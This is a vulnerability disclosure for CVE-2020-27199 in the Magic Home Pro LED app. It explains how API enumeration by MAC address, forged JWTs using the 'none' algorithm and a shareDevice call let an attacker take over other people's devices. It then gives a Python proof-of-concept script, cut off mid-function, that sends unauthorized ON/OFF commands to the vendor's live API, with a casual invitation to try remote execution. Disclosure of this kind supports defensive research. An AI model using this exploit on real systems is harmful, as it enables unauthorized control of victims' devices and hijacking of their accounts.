
CVE-2020-27199

Multiple vulnerabilities found in the Magic Home Pro Mobile Application which is used to interface with the JadeHomic LED Strip RGB Kit. The most significant of these vulnerabilities is an Authentication Bypass (CVE-2020-27199) vulnerability, which ultimately allows for full takeover and control of a victims' entire device group.
magichome-forge.py - JWT Forger, used to automate device takerover
magichome-sniffer.py - Local network sniffer that searches the network for susceptible devices. Builds a list of devices for which attacks can be run against
magichome-switch.py - Allows for the lighting up of devices
magichome-takeover.py - Payload that allows for a successful takeover of a users account
Suzhou SmartChip Semiconductor Co.,Ltd
This vulnerability allows for any authenticated user to utilise their current authorization level to interrogate end points not apart of their registered products, using an API call to /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. This results in a HTTP response that indicates the existence of the endpoint and returns the Username, User Unique Identifier (userUniID) and the Binded Unique ID (bindedUniID) of the associated endpoint.
Using the above interrogation, an attacker is then able to utilise an unauthorized POST request to API /app/sendCommandBatch/ZG001, using the newly enumerated mac address to send commands to the remote endpoint using compatible hex commands 71230fa3 and 71240fa4 resulting in ON and OFF respectively.
After initial enumeration is complete, it is also possible to forge a JWT using the userID and uniID within the JWT payload data, in effect downgrading the token to use 'None' as the algorithm in the JWT header section (signature-bypass vulnerability). Using this vulnerability the application is susceptible to device takeover by an attacker through use of the remote API call to /app/shareDevice/ZG001 and utilising the friendUserID JSON parameter to add the device to the attackers device list, giving the attacker full control of the endpoint device.
Credit(s):
The OUI describes the Organisation Unique Identifier for MAC Addresses registered to an organisation. In the case of JadeHomic the magic OUI is C8:2E:47, where the first three bytes corresponds to the manufacturer and the second 3 bytes correspond to the serial number assigned by the manufacturer. In our case the manufacturer identifier is registered to Suzhou SmartChip Semiconductor Co., LTD.
Allows for an the authentication bypass of the Magic Home Pro Mobile application and thus full control of a victim users' entire device group.
The proof of concept enumerates on the last bytes within the MAC range and returns findings. It allows a test of the 'remote execute' if you are feeling daring.
import requests
import json
import os
from colorama import init
from colorama import Fore, Back, Style
import re
'''
1. First Stage Authentication
2. Second Stage Enumerate
3. Third Stage Remote Execute
'''
global found_macaddresses
found_macaddresses = []
global outtahere
outtahere = ""
q = "q"
global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):